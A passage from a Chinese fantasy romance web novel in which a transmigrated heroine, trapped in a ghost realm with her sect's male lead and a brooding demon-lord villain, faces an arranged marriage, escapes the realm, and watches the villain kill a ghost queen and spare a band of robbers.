虞想模模糊糊的想着,不一会儿意识就如同一艘小船沉入无边无际海底。
在她睡着后,房门被人悄然打开,又轻轻合上。
雁亭序来到床边,看着睡着后安详恬静的虞想,将人的手从被窝里挖出来,他拿出一个瓷瓶,慢慢抠出药膏,抹在白天把她掐红的手腕处。
等到药膏晾干,雁亭序薄面这才传来几分后知后觉的羞恼。
他这是在干什么?
他不是要折磨虞想,要让她痛不欲生,让她那双总是漂亮的里面盛满碎星的眼睛里流出痛苦的泪水?雁亭序借着皎洁的月色看向他的手腕。
不,他现在迁就她,惹她照顾她统统都是为了让她交心。在她对他交心之后他再狠狠的抛弃她,让她被折磨,让她感觉到痛苦!
他现在所做的一切都是为了更好的报复!
对,就是这样!
他冷冷将人的胳膊推回去,匆匆从她的床榻边离开,背影带着几分落荒而逃的意味。
“公主,公主,快醒醒,皇后娘娘一会儿就要过来。”
虞想被芍药推搡着,刚睁开眼还有些懵懂,晶莹的泪花自她眼角滑落,她伸了个大大的懒腰,揉揉压出睡痕的脸颊。
待听清芍药的话后,连忙起身抓紧洗漱,原身这个亲娘久居深宫,还能一朝棒打鸳鸯,应该不是个好相与的。
“皇后娘娘驾到。”伴随着一声纤细而又高亮的通传,身形富态的女人出现在虞想的面前。
她身着一身绛紫色宫装,衣着华贵,发间发簪不多,但皆是上好的珠玉与闪闪发光的金簪。
来人一见到虞想,便握着她的手在软榻上落座。
“锦儿,这些日子你可曾怪过母亲?”
虞想听到陌生的称呼先是一愣,随后才反应过来,锦儿应该是唤的原主霜锦的乳名,她看着这个皇后一脸忧虑的神情,摇摇头,表示没有。
“那就好。”
她拍着虞想白皙纤细的手掌轻描淡写道:“那个贱种不是你的良配,母后特意向皇上请旨,为你寻了一个如意郎君。你也收收心思,不要同那个贱种往来了。”
什么?
虞想清亮的小鹿眼闪过一丝震惊,她不可置信的看着眼前的皇后,这怎么还拉郎配?
皇后还在那里自顾自继续说道:“母后看着啊,那闻家小子就不错。仪表堂堂,又有官职,是个良配。”
闻家?那岂不是男主所在的地方?
据芍药的情报,这个京城就只有一家姓闻,而且闻家还只有一个独子。
那岂不是说,她要在这个鬼蜮里嫁给男主?
这是什么神仙剧情走向?
虞想眼里的震撼已经不能用言语来形容了。
皇后一口气同她说完,特意观察着她的神色,一番好言之后便是威胁,足足将恩威并用这个词展现的淋漓尽致。
“母后该说的也说的差不多了,你要记住,这辈子你想嫁给那个贱种是绝无可能。”
“这几日,你就好好待在锦绣殿修身养性,等着大婚。”
她说完,施施然带着一群人浩浩荡荡从锦绣殿出去。
完了,完了。
让她和男主成亲?原著也没这段剧情啊?该不会是因为她没走原剧情带来的蝴蝶效应吧。
但是男主可是女主的,就是借她一百个胆子,她也不敢嫁给男主啊!
更何况她真的不想和男主产生任何纠葛,也不想走原著剧情落得个惨死的下场。
虞想坐在榻上,眉头紧皱,一脸苦相,她默默揪着帕子,梳理着脑海中的思绪。
下午,虞想小憩醒来,传来芍药的一声通报。
“公主,闻世子来了。”
男主?他来干什么?
虞想迅速收拾妥当,让芍药把人迎进来。
林疏放一进门便挥退殿内的太监宫女,与虞想开门见山道:“师妹,想必你也知道皇上给你我赐婚之事。”
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虞想点点头,语气十分苦恼,“大师兄,事情为何会发展成现在这样?”
林疏放注意到虞想态度中的抗拒,眼神有一瞬间复杂,他沉吟片刻,道:“应该是这个鬼蜮内有既定的时间线,到了一定时候便会发生那些事。”
“即便是我们刻意避开,它总是能以各种形式自圆其说,按照时间线发展。”
虞想倒是没想到还会有这种说法,不过男主身上自带金手指,想必分析也差不到哪里去,她对他这一番分析还是挺相信的。
可这样一来,那岂不是说她真的要和男主成亲?
似是看到她的顾虑,林疏放解释道:“师妹不必担心,到时候我们只需假成亲,根据时间线的发展,找到机会破开鬼蜮。”
虞想转念一想,要是这个时间线一直停滞不前,他们就要在这个鬼蜮里困更多时间,与其这样,倒不如听从男主的建议,然后寻找破局之法。
她点点头,表示愿意听从林疏放的安排。
事情已经敲定,林疏放也没有逗留,尽管在鬼蜮里虞想这个师妹已然同先前有些不一样,他对她也颇有改观,可江山易改本性难移,难保她不会再变成以前那个刁蛮任性的样子。
他起身告辞。
男主已经离开,虞想走到茶桌前,缓缓落座,她托着腮帮,眼底蕴藏着些许愁绪。
不知怎的,她突然想到了雁亭序,自那一日两人闹得有些不愉快后,他便好几日没来了。
也不知他现在怎样。
被虞想记挂的某人,此刻正在同一帮刺客火拼。
夜色深沉,皎洁的月光隐匿在厚厚的云层之下,不见一丝光亮,一群黑衣人动作轻盈的自墙头跃下,墙上的瓦片俨然不动地看着他们的行动。
他们左手持刀,轻手轻脚从杂草里趟出一条小道,彼此对视一眼,轻轻点头,径直走向那间破落整洁的殿宇。
这次的任务是刺杀一个身体羸弱不受宠的质子。照常理来说,这么简单的任务派他们这些顶尖的杀手一人足矣,这次却需要雇主却要他们七个一同出手。也不知是何想法。
是觉得那个质子能打败顶尖的江湖杀手?
简直可笑。
他们悄无声息的靠近门窗,破门而入,凌冽的寒剑自身后抽出,径直刺向床头。
可想象中的哀嚎闷哼却没有传来。
不对劲!
一人径直挑开床褥,才发现鼓鼓的寝被之下竟然空无一人。
遭了,中计了!
几人心惊的时候,房梁上突然传来一声嗤笑,他们循着声源,抬头看去,房梁上端坐着一个少年,因身着一身黑衣,近乎要与流淌的夜色融为一体。
还没来得及看清他是如何出招,一人的脖颈已然一道殷红,鲜红还带着几分热意的血喷涌而出,无需一瞬,那人便死不瞑目。
小太监躲在墙根,大气不敢出,看见雁亭序将三人捅个对穿,身体抖若筛糠,脸吓得比纸都白。
两息之后,地上横七竖八躺着一地尸体,汩汩流淌的鲜血将雁亭序所站的地方泅出一道小溪,他不甚在意的踢踢脚边的身体,把蹲在角落里吓得快晕过去的小太监喊醒:“你去把这些尸体处理干净。”
小太监紧张的咽了口唾沫,手打着摆子询问:“殿下,怎……怎么处理?”
“怎么处理还要我教你?我要不要把你一起处理了?”
他一记眼刀飞过,小太监立刻哆哆嗦嗦的爬起来,壮着胆子认命的将尸体往外拖。
13. 第 13 章
雁亭序得知虞想要大婚的消息是在她出嫁的前一夜。
这夜,一向省吃俭用的小太监端来个华丽的食盒,低着头,摆弄着餐桌上的碗碟,“殿下,吃饭了。”
雁亭序端起碗筷就要开吃,待看清碗里的油星后,心里有些异样,他皱着眉头向一旁的小太监问道:“宫里怎么突然这么大方?”
小太监眼神乱瞟,不敢看向雁亭序。
雁亭序后知后觉才发现这小太监今天十分不对劲,像是有什么事在瞒着他一样,他猛然摔下筷子,语气阴森地逼问道:“你有什么事瞒着我?”
昏黄的油灯被一阵微风吹过,连忙颤颤巍巍地稳住身子,雁亭序映在墙壁上的影子像是在一瞬被劈成两半,又凝成一股,如同恶鬼般从地狱爬出。
小太监瞬间被吓出一身冷汗,咚的一声跪在地上,哭道:“殿下,不是奴不告诉您,奴也是今天才知道公主殿下明日就要成亲,皇后娘娘特赦六宫三日——”小太监话还没说完就被雁亭序一脚踢倒桌子的动静吓得噤声。
雁亭序拎着前襟像拎小鸡崽子一样把他从地上拎起来,“你说的公主是不是住在锦绣殿的那位?”
小太监被雁亭序一下迸发的骇人气势吓得面色苍白,抖着唇瓣嗫嚅两句,喉间却像堵了团棉花,一个字都说不出来。
雁亭序见他没求饶反驳,那便确定是了,登时他只觉得胸腔内的怒火一下子被点燃,火气沿着肺腑,燎原直上就要将他的理智烧的一干二净。
他愤然扔掉小太监,大步流星地往虞想的所在锦绣殿走去,夜色被他落在身后,胸膛里一股灼灼燃烧着一股怒气,在其之上还有不自知的恐惧将他笼罩。
砰。
殿门被人从外面踹开,雁亭序步履急促的来到梳妆镜前的虞想身边。
他一把攥起她的手腕,就要拉着她往外面跑。
“雁亭序,你要带我去哪?”虞想被雁亭序突如其来的动作弄得有些发懵,她急急地拽住他,止住他往外跑的动作。
听到她的话雁亭序果真停住步伐,“你要大婚?和谁?上次那个男人?”他转身,冷声质问虞想。
宫灯上明晃晃的光亮洒满整个大殿,因此雁亭序气愤、不甘还带有一丝恐惧的表情让虞想一览无余。
他这个样子怎么像是无能丈夫抓到妻子红杏出墙?
虞想敏捷的思维一时有些迟钝,脑海有些困惑不解。
青筋跃动的大手箍住虞想的双肩,让她的任何反应都在他的视线内无所遁形。
见到她有所迟疑,雁亭序又突然不想听见答案了,他不想听见她说她与他的师兄情投意合,说他们以前怎样,上一世她对她师兄那样好,如今怎会没有感情。
虞想突然想起来,她和男主假结婚这件事还没有跟雁亭序说,这件事还关系到他们出鬼蜮呢。
她双手交叉轻而易举地将双肩上两条有力的臂膀掰下来,盯着他狭长的眼眸,急急解释道:“不是你想的那样,我和师兄是假结婚,为的就是加快鬼蜮的时间线,好让我们从这里出去。”
还好,没有听到他最不想听到的答案,雁亭序松了一口气,但是让他看着虞想同别人成亲那是没有一丁点儿可能,除非他死了。
“我不同意。”待她解释完,雁亭序嘴快的拒绝了这个提议。
“什么?”虞想瞪大眼睛,檀口微张,薄红的粉面上露出几分惊讶。
大反派这是怎么回事,有男主光环可以蹭蹭,加速离开鬼蜮不是件好事吗?要是让时间线停滞,他们可就得一直待在这里。
夜风似海洋上的柔波徐徐吹来,卷动她的发梢,不经意间侵蚀着心间一块坚硬的岩礁,雁亭序清亮如润玉般的声音再次传到她的耳间:
“我说,我不同意。鬼蜮我自会带你出去,不需要你去做那些。”
“可是——”
“没有可是,现在就跟我走。”
许是今夜的宫灯太亮,将雁亭序深邃的视线照的诚挚无比,虞想鬼使神差的没有拒绝,任凭雁亭序拉着她往外跑。
可天不遂人愿,他们前脚刚跑出锦绣宫,后脚一群侍卫就手持佩刀将他们拦住。
为首的那人冲虞想抱拳道:“圣上有旨,质子通敌叛国,意图谋反,拿下!公主若是包庇,同罪!”
他一挥手,身后的那群侍卫便蜂拥般冲他们涌来,将他们团团围住。
雁亭序下意识将虞想护在身后。他看着眼前的士兵,眸中带着股狠劲,扬言:“有什么事冲我来,别动她!”
话音刚落他便如离弦的箭一样冲出重围,妄图厮杀出这个包围圈。
刀剑相撞发出清脆的声响,雁亭序一个旋身躲避要害的一击,他借力便将偷袭他的人横扫在地,在这个鬼蜮里,就算是没有魔力,他的武力值照样惊人。
虞想像是被吓傻了般,呆愣愣地站在原地,连不知何时出现的林疏放将她拉走都不知道。
“师妹,你还好吗?”林疏放略带紧张的视线落到虞想那张苍白的小脸上。
听到林疏放的话,虞想才像是回过神来一样,她猛然回头看向此刻正在厮杀的雁亭序。
似有所感,雁亭序的目光在此刻也向她递来,待看清她身边的人后,他出手的攻势立刻狠绝起来,像是一匹战斗的狼王在捍卫自己的领地。
虞想看着雁亭序手臂上的血就跟不要钱一样汩汩流淌,就是这样他还在临走前小声的叮嘱她一句“乖乖的,不要怕。”一时间一股说不清道不明的情绪涌上心头。她喉间一哽,往前小跑着哑声替他求情:“放过他,别打了!”
林疏放见状立刻拉住她,他眉头紧皱,眉眼间皆是对她任性的不赞同,“师妹,他们都是这鬼蜮里的魂魄,你不必这样。”
就在此刻一个侍卫急急跑上前来,单膝跪地,冲着为首的侍卫长禀报:
“报——霜国城破,叛军即将国都。”
鬼蜮的主人就要苏醒了,时间线因被人遭到破坏一时被迅速拉近,直接来到这片鬼蜮的后半段。
一旦鬼蜮的主人苏醒,他们便无法再停留在这里找到他们想要的东西。
这个消息如同一块石子扔进湖面炸出水花,宫女太监一时间乱作一团,“城破了,城破了,大家快跑啊!”作鸟兽状四处逃窜。
侍卫长悲愤交加,将矛头指向这个攻破他们国家的质子,他目眦欲裂,拿起手中的佩剑就往雁亭序身上砍去,不知道是不是这个鬼蜮在作祟,雁亭序有一瞬间感觉到浑身无力,像是被电击了一下,也就是这一瞬间,让侍卫长趁机一剑刺向他的心口。
“不!”虞想拼命的拍打林疏放箍在她腕上的手掌,林疏放一时不察还真让她挣脱出来。她跌跌撞撞跑到雁亭序身旁,颤抖着手将他从地上缓缓抱起,豆粒大的泪珠不自觉从眼眶滚落。
“不要!”她抱着怀里冰冷的身躯哭的泣不成声。
城破的很快,几乎是在顷刻间叛军就打进来了。
乌泱泱的人群涌入宫内,刀剑相撞的
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场景在虞想眼泪朦胧的视线逐渐模糊,刚才一股莫名的悲伤涌入心头,她好像不自觉哭了。
她摸了摸眼角,冰凉的液体好像挂在脸颊。她的灵魂缓缓飘入空中,模糊间看见地上一位女子正抱着地上一位男子嚎啕大哭,泪痕满面,悲伤的神情让她看的都有些动容。
虞想感觉视线有一丝恍惚,突然间,地上哭着的女子抬头望天,怨恨的嘶吼一句:“为什么!”
声音之大足以让整个宫殿震颤,她疯狂的诘问像是得到回应,湛蓝的天空一瞬间变得乌云滚滚、昏天暗地,漫天的黑气将她包裹。陌生的面庞上突然出现一枚黑红的鬼火,她如同恶鬼降世一般,疯狂开始杀戮,眨眼间血色漫天,哀嚎遍野。
再然后虞想就看不清了,破碎的场景渐渐消散在她的眼前。
从鬼蜮出来并不是没有感觉,那股眩晕感与她一脚踏空进入鬼蜮的那股眩晕感一模一样。
虞想双脚发软地落在地上,她急急稳住身形,晃晃脑袋,轻轻呼出一口气。
还好,还好安全着陆。
“师兄,你没事吧?”虞想闻声看去,见一名身着白衣、英气飒爽的女子正扶着林疏放,一脸关切的看着他。
林疏放缓缓拍拍她的手,摇头道:“我没事。”
虞想一看两人亲昵的姿势就知道,林疏放旁边那女子就是女主顾影,不为其他,顾影长了一张标准的鹅蛋脸,姿容万千,一身出尘的气质更不是常人能及的。
原著中,她是隔壁玄微宗的大师姐,与男主林疏放私交甚好,两人常一起出任务,以师兄妹相称。
而且原书中能让男主如此温柔以待、没有丝毫脾气的只有女主。
“师兄,我已偷偷查探过,这片鬼蜮的主人是千年前霜国的那位公主,她死后不知怎样得到萤火珏,大开杀戒,霜国宫中所有人都死于她手。”
“那些怨灵得不到解脱,被她终日困在这里,上演着生前的一切,这片鬼蜮由此而成。”
“既然如此,等那我们找到她就将她诛杀在此,解救万千亡灵。”
“好。”
两人若无其事的交谈完才发现不远处的虞想。
林疏放偏头看来,“小师妹?你怎么在这里?”
来了,来了,护妻的男主他带着质问走来了。
毕竟原著中这个作死小师妹可没少恶心女主,自作主张同男主做些让人误会的动作,挑衅女主,让男主对她更加厌恶。
虞想决没有与两人扯上关系的意思,她跑还来不及呢。
天了噜,一旦跟他俩扯上,那可意味着她就有要走上原著剧情的可能。
她这条小命暂时还想要。
虞想站在原地,高举胳膊,礼貌的朝他们打了个招呼,顾影不冷不淡地微微颔首以示回应。
是了,女主就是女主,尽管炮灰小师妹如此讨人厌烦,她还是保持自己的风度,不同她一般见识。
林疏放走到虞想跟前,英俊的面庞有些冷硬,小师妹一向不喜欢顾影师妹,每次见到顾影师妹都要作妖,现在可容不得她在此胡闹,他暗自敲打道:“师妹,我们有正事要办,我赠与你几道我的剑气,你带着防身,找个安静的休养一番好吗?”
说着他便将一个锦囊交给虞想。
听听,这就是语言的艺术,赶人都说的这么好听。
不过虞想倒是不计较这些,多些防身的东西总是好的。她笑眯眯地接过来,满嘴答应,并马上就离男女主远远地。
14. 第 14 章
雁亭序一从鬼蜮出来便化身成一道流光,径直逼向鬼蜮主人的藏身之地。
咚——
登时,蜮主所在的锦绣宫殿门瞬间被一股气流掀飞。
一轮圆月半隐在云絮后,银霜般的月光半隐半现,将雁亭序阴森恐怖的身影勾勒的明明灭灭。
他面无表情的站在殿前,唇瓣紧抿,狭长的丹凤眼内一片冷然。
黑金色的衣袍无风自动,向后扯着,猎猎作响。
霜锦从床上醒来,缓缓伸了个懒腰,赤红的鬼火印在她额头跳跃。她缓缓勾开床幔,绕到手心慢慢转着打勾,斜倚在床头:“魔主大人大驾光临,小鬼有失远迎。”话落,她娇笑一声,媚眼如丝地看向雁亭序。
这些年有不少男人争相爬上她的床榻,实力或强或弱,但长相一律俊美,不过他们却远远都不及眼前这位魔主大人。
宽肩窄腰,光影下的皮肤显得苍白,黑发黑瞳,墨玉般的眼睛没有丝毫温度,平添一股阴森诡谲之感,左肩上的黑色乌鸦简直跟它的主人一模一样,凶气毕现。
不过,这副样子倒是很对她的胃口呢。要是拿下这样的男人,她体内的功力岂不突飞猛进。想到此,霜锦旋身下床,莲步轻挪往雁亭序走去,脚腕上的银铃叮当作响。
“大人~怎么不说话?”霜锦呵气如兰,状似往雁亭序身上攀去,口中吐出一股青烟,“滚。”下一秒她却被一股强悍的魔气挥退。要不是她闪的及时,现在恐怕早已身首异处。
雁亭序上下打量着女鬼,心中早已不耐,狭长的丹凤眼里露出轻蔑与不屑。这个自以为是的女人,真以为靠这点小把戏就能迷惑他,愚蠢至极。
方才他就已经试探过,这座殿中没有其他人的气息,说明虞想根本就不在此地。既然如此,她就没有任何价值了。
霜锦方才差点被雁亭序杀了也不恼,毕竟男人嘛有点个性才好玩,更不论是实力这样强大的男人。见他一副冷冰冰的样子,她再次倾身而去。
雁亭序后掠几步,一道强悍的黑色魔气直击霜锦那张姣好的脸庞,霜锦见状果断祭出鬼气相阻隔。
青灰色的鬼气与魔气两厢抗衡,各自撑起一个半圆似的弧,殿内的东西在这两股力量的碰撞下乒乒乓乓化为齑粉,只有两人站立的地方还完好无损。
霜锦知道虽然表面看起来她与雁亭序的力量不相上下,可自己身上的鬼气早已祭出七成,反观对面的少年却游刃有余,功力没有用到一成。
这个两个月前冒出的魔主究竟是何人物,实力竟然如此强悍。
霜锦不敌,立刻作投名状:“魔主大人,方才是小鬼有眼不识泰山,冒犯了您,还望您大人不记小人过,饶过小鬼这一次,小鬼自当感激不尽追随大人。”
雁亭序根本没有任何跟她谈和的心思,他只想快点解决她拿到萤火珏然后去找虞想。
他转换攻势,下手更为狠戾,招招直逼霜锦命门。
大殿中,青灰色与黑色交错轮换,地面一片狼藉,两息后殿中传来一声凄厉的鬼叫。
雁亭序漠然地看着眼前的女鬼魂飞魄散,他伸手接住半空中掉下的萤火珏,这些年这块萤火珏在霜锦体内被滋润的颜色更为鲜亮,能发挥更大的作用。
雁亭序得到自己想要的东西后,毫不犹豫的转身离开。
虞想接过林疏放的剑气后正打算告辞,不远处却突然传来一阵轰隆声,那座华美的大殿眨眼间就已经倒塌。
林疏放同顾影对视一眼,迅速往那边赶去。
虞想被这突如其来的动静搞的有些发懵,她总感觉眼前这幅画面有点熟悉。在原著中这应该是个女主杀掉反派鬼王救出男主的桥段,原著中清清楚楚的描写了女主救出被鬼王缠住的男主两人所在的大殿倒塌,男女主相互帮助从殿内逃生,从而使感情线进一步发展。
想当初她看书的时候还为两人在困境中的甜蜜互动激动的一脸姨母笑,在被窝里疯狂打滚,但是现在谁又能告诉她剧情线为何突然发生了偏转,男女主所要经历的磨难怎么都没有了?难不成真是因为她的穿书导致了蝴蝶效应?
可是她也没干什么啊!
就在虞想发怔的时候,雁亭序的神识也捕捉到了虞想的气息,他化作一缕流光往虞想的方向疾驰而去。
雁亭序看到虞想完好无损的站在那里,心中松了一口气,面上却不显,他几步上前,将正在发怔的人牵到身侧,“先前答应过带你离开鬼蜮,我们这就离开。”
熟悉的声音唤回虞想的思绪,她看着突然出现的大反派眸中疑惑不解,“你去哪了?”
面对虞想的询问雁亭序面色不改答道:“去找一位友人叙叙旧。”
雁亭序下意识不想让虞想知道他的计划。不过他这也不算撒谎,此“友人”非彼“友人”,叙旧也只不过是把人打的魂飞魄散而已,没毛病!
大反派竟然还有朋友?!虞想的思想成功被雁亭序带偏。原著中大反派可是孤身一人与男女主相抗衡,直到后来要打开地狱之门才有众多手下跟随,现在竟然都有了朋友?!但也没准儿是原著中没有写到的事情,毕竟他们都是活生生的人,有自己的成长生活线也不为过。
看着虞想严眼中的疑惑逐渐消散,雁亭序不禁为自己完美的理由骄傲,他颇为自得的看向虞想,目光却冷不丁触及她手中的锦囊。这月牙色绣着青竹的锦囊先前他并未在她身上见过,一定是她从别处得来的。
雁亭序状似不经意的夸了一句:“你手上这个锦囊还挺好看的。”
“啊?你是说这个?”虞想不理解大反派思绪怎么如此跳跃,先前还说道友人,怎么一下子就把注意力挪到她手中的锦囊了,她举起手中的剑气锦囊给雁亭序看,“这个是我从林疏放那里得来的几道剑气。”
一听是她的师兄,雁亭序顿时心气不顺,他阴阳怪气的夸了一句:“那还真是不错呢。”
“嗯,保身用的。”虞想低下头将锦囊挂在腰间,头也不抬的答道。
雁亭序看着虞想如此珍惜这个东西,顿时气的咬牙切齿,他气鼓鼓地舔舔上牙膛,心道:“早晚把这玩意儿给她扔了。”
雁亭序唤出苍梧,将虞想带上它的脊背,两人往附近的城池飞去。
柔柔的初夏晚风拂过虞想的发梢,几缕发丝俏皮的往后躲去,不知为何苍梧今日飞的比往日更慢,虞想不由得胆子大了起来,她坐在苍梧背上,看着不远处的美丽火烧云。
遥远的天际赤色与金色相互交织,将洁白的云朵烘烤的赤金赤红,如同画家不小心打翻了燃料涂满了整片天际。
虞想心情颇好的绰戳戳身边的雁亭序,将眼前的美景分享给他。
雁亭序瞧着眼前的火烧云确实是好看,不过他的心思不在这里,趁着虞想的注意力全都关注在眼前的美景上,他暗自指挥苍梧制造一点小意外。
苍梧原本正平稳的飞着,突然间往侧方一歪,虞想被这动作吓了一跳,下意识抓住苍
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梧的羽毛,却引起苍梧更激烈的侧歪,雁亭序瞅准时机,不经意碰到虞想的锦囊,月牙色的锦囊便如同断了线的风筝从万米高空坠下。
虞想眼睁睁看着她从男主那里坑来的保命装备就这样丢了,心中一片懊恼,早知道应该放个保险的地方的。不一会儿,苍梧的身形平稳下来,虞想刚想跟雁亭序索赔,雁亭序先发制人道:“方才好像见你的东西被苍梧弄丢了,不如我再赔你几件?”
虞想本来也没有多么在意那几道剑气,不过是想让自己在危险时有个倚仗罢了,现在见雁亭序主动送上门来让她宰,她登时也不气了,只想多宰他一顿,反正他一个大反派手里的应该都是好东西。
她点点头,对他这上道的做法很是满意。
雁亭序在心中颇为得意的叉腰,为自己的聪明点赞,现在的他早已忘记了一开始要将虞想折磨的痛哭流涕的初衷了,倒像是一个陷入热恋患得患失的少年。
雁亭序带着虞想来到附近最大的城池——云城。两人在城外就让苍梧停下,步行前往城内。甫一进城,雁亭序便带着她前去城里最大的万宝阁,那里卖的都是上好的兵器,万金难求。
虞想跟着雁亭序进入店内,立刻有热情的伙计来询问他们要买什么样的兵器。
雁亭序眼也不眨的说道:“把你们店里最贵的拿上来。”
伙计一看这架势便知道这肯定是个大顾客,他手一扬,讪笑着躬身道:“两位楼上请。”
两人走过旋转的木梯,直抵二楼,这里每件兵器都用白色的半圆状的玉石罩着,明亮的灯光打在每件兵器上,让它们看起来精致无比。
虞想走到一柄小剑前,看着下面的注释:萃玉剑,水火不侵,可穿金融铁。后面价格上的零虞想数都数不过来。
雁亭序走到虞想身边,看着她盯着的那把小剑撇撇嘴:“不过是些凡品。”
伙计见状立刻传话给掌柜的,说今日来了个大雇主。
两人围着里面的东西转了一圈,虞想不禁被里面的东西贵的咂舌,这里的东西少说十几个零起步。
恰巧此时掌柜的捧着一个袖珍的小盒子出现,他看着两人便主动将手里的宝物递上去给他们看,“二位,这可是我们店里最近新得的宝贝,别看这个玉葫芦平平无奇,关键时能挡致命一击。无论实力多么强大的攻击都能化解。”
“不光如此,要是将它整日带在身上可帮助修士自行修炼,这可是多少修士梦寐以求的。”
掌柜的对这个玉葫芦吹的此物只应天上有,就怕两人不知道它的好处。
雁亭序自是瞧着它不同,转头问虞想,“你瞧着如何?”
虞想听到这个玉葫芦关键时能化解致命一击已是很满意,雁亭序见状果断跟着掌柜的付账,让她留在原地。
雁亭序回来的时候将一个赤金色的小口袋递给虞想,他解释道:“掌柜的说买那葫芦送的。”丝毫不提刚才威逼利诱让人把店里的好东西都拿出来。
他让虞想低低头,虞想有些不明所以,但仍按照他的要求照做,雁亭序见眼前人露出雪白的皓颈顿时觉得有些口干舌燥,他强压下心中那股奇怪的感觉,将绑上红绳的玉葫芦系到虞想脖子上。
玉质的葫芦没有任何冰凉的感觉,反而十分温和,葫芦从虞想的衣襟滑下去没有带来半分异样感,要不是脖颈上的红绳,虞想感觉她好像真的什么也没带。
两人从万宝阁出来碰巧遇上了奄奄一息归来的断萤。
15. 第 15 章
“阿虞。”断萤气若游丝的喊了一声虞想便进入她的识海中。虞想不知断萤遇到了什么竟然变成这样一副虚弱的模样,连忙问它发生了什么。
“阿虞,外面有好多坏人。”断萤断断续续的说了自己这段时间离开虞想后发生的一切,还特意强调了它差点被抓去炼丹的经历,提醒虞想一定要小心不要被骗!因为它就是被看起来受伤的老爷爷骗到坏人那里去的。
虞想对它这一番控诉搞的哭笑不得,只好在脑海中哄它,让它学会吃一堑长一智,以后再遇到这种情况别那样莽撞,先观察一下再做决定。
断萤委委屈屈的说完后直接在虞想的识海中修养,虞想也就不再打扰它。
雁亭序似是知道断萤的存在,也没有询问她,两人在街上一边走一边逛,遇到喜欢的雁亭序便随手扔块金子买下引得街上行人频频侧目。
雁亭序毫不顾忌大大咧咧的带着虞想来到客栈要了两间上房。
虞想坐在凳子上捶着酸软的小腿,等着店小二给她送上热水。
“姑娘,热水已经备好,需要抬进来吗?”虞想听见外面的声响赶紧穿上鞋子一蹦一跳地来到门前。这几天运动量过多,导致她这两条腿酸痛不已,得好好休息一番。
她拉开门扉让店小二把热水抬进来,待人走后才合上门栓褪掉衣服沉入浴桶。暖洋洋的温度充斥着全身,虞想顿时感觉自己就像是活过来一般,连腿上的酸痛都好像消减了不少。
待到水温逐渐变凉,虞想连忙从里面出来,裹上里衣往被窝钻去,傍晚她同雁亭序在外面逛的时候已经吃了许多小点心,现在一点也不饿反而十分困倦,不出片刻就已经沉入梦乡。
在她睡着后,外面鬼鬼祟祟的来了几个壮汉,他们将纸窗抠开个小洞,随后缓缓吹进一股迷烟,紧接着他们去到旁边雁亭序的房间又吹了一次。
几人颇为耐心的等了半刻钟觉得时间差不多了,便悄悄破开雁亭序的房门。他们可是瞧见了这小子今日在街上出手阔绰,肯定是个有钱人家的富贵公子,若是将他抢了,那他们就赚大了。
他们见房间里静悄悄的,应该是人已经被他们用药迷倒了,胆子不由得大了几分,径直往房间里搜去,只听一声惨叫的哀嚎,最前方的那人竟然双手不受控地往后弯曲,像是要被人折断一般。
紧接着那人身子从地面缓缓上升半飘在空中,登时后面那几人腿都吓软了,扑腾一声跪在地上,还有些胆子大的能站住,可细看之下那人腿也是在哆哆嗦嗦打摆子,也是吓的。
雁亭序的身形自黑暗中寸寸现出,他嗤笑一声,像是对这些胆大包天想来打劫他的人的羞辱。
他指尖轻抬,那几人便吊在半空,顿时哭嚎求饶声不绝,更有甚者直接从两腿间滴落淡黄色不明液体,惹得他更加厌烦。
他二话不说,就要将几人捏爆,就在他下手的前一秒,虞想拢着衣衫出现在房门前打断他的动作,“雁亭序。”
她喊了他一声,打断了他的动作。雁亭序闻言看他一眼,不明白她为什么现在喊他的名字。
虞想刚开始打断他的勇气已然在那不咸不淡的一眼后消失了一半,她看了在半空中瑟瑟发抖的几人,接着道:“你看,今晚的月亮真圆,我是说十五不宜杀生。”
雁亭序果真抬头看了眼门外撒着银辉的圆月,清凌凌的立在漆黑的天际,普照世间万物。
月色确实美丽,雁亭序收了魔气,几名土匪登时从半空掉落砸在地上,将桌椅砸的七零八碎,“今天心情好,便先饶了你们几个,要是再有下一次,你们就直接等死吧。”
土匪们见状连忙跪在地上磕头,将头磕得砰砰作响,“我们再也不敢了,多谢大侠手下留情,多谢大侠手下留情。”
“滚吧。”
那几人连滚带爬的从客栈跑出去,就怕雁亭序反悔。
虞想其实在那几人吹迷烟的时候就已经察觉到不对劲,平时她再困也不会出现脑袋困得要发晕的感觉,联想到雁亭序今天在街上花钱大手大脚的行为就知道他们应该是被人盯上了。
她索性将计就计,把头埋进被子里,减少迷药的吸入量,静静等着那些人的动作,不料那些人并没有来她这里,反而先去了雁亭序的房间,她这才有机会打开门窗透气,顺便找机会救一下那几个土匪。
这倒不是她圣母,若是那些人是穷凶极恶之人便不可能只给他们放点迷药这样简单,这些人明显不是,他们连刀跟匕首都没带,只想用点迷药将人迷晕再把钱抢了。
这些人罪不至死,所以虞想才跑过来尝试着阻止雁亭序,本来她就抱着试试看的态度,没想到雁亭序当真放了几人一条生路。
房间里一片狼藉,桌子椅子被砸的粉碎,地上还有一两滩不明液体。雁亭序正在心头懊恼刚才怎么就听了虞想的话就把人放了,他多没面子。因此在虞想示好的情况下,他自然而然地跟着她来到她的房间。
两间上房的布置其实差别并不大,但是雁亭序总感觉虞想这间房间更为精致一些,房间里只有一张床,两人折腾了半宿虞想现在已经是困得不行,连忙爬上床准备歇息。
雁亭序不想在她面前再落了面子,面不改色的解着衣袍,脱掉外衫后也上了台。虞想迷迷糊糊知道雁亭序也上来了,不过这么些日子雁亭序都没有表现出对她有什么想法,想必是对她不感兴趣,所以她就任由困意纠缠,沉沉睡去。
雁亭序刚掀起被子的一角,就觉得有一股香气钻到鼻尖,像是一只色彩斑斓的蝴蝶轻轻挠着他的心尖。他说不上来那是什么味道,只觉得怪好闻的。
被子合上,他仰躺在床侧,左手枕在脑后,他没有半点睡意,在那股香气的包裹下只觉得心脏像是泡在了蜜罐里,咕噜噜的冒着泡,待到沸腾到极致,这些小泡泡便在他的耳边砰砰炸响,雁亭序细细体会才知道那是他的心跳声。
他下意识想听虞想说点什么,不论什么也好,可身侧的人早已去会周公了,耳边只剩下她匀称安详的呼吸声。
在这样规律的呼吸声下,雁亭序缓缓阖上眼睛也进入梦乡。
翠湖是云城外有名的湖泊,景色优美,里面种着荷花,夏风过境带起荷叶轻盈的舞步,荷花隐隐作唱,将缕缕荷香送入云城。
如此美妙的夜景却被几声沉重的喘气声打破,那些土匪从客栈逃出来后便直奔翠湖边,待到进入一方不起眼的凉亭内,他们扑通一声跪在地上,双手合十祈求道:“湖神大人,求求你救救我们吧。”
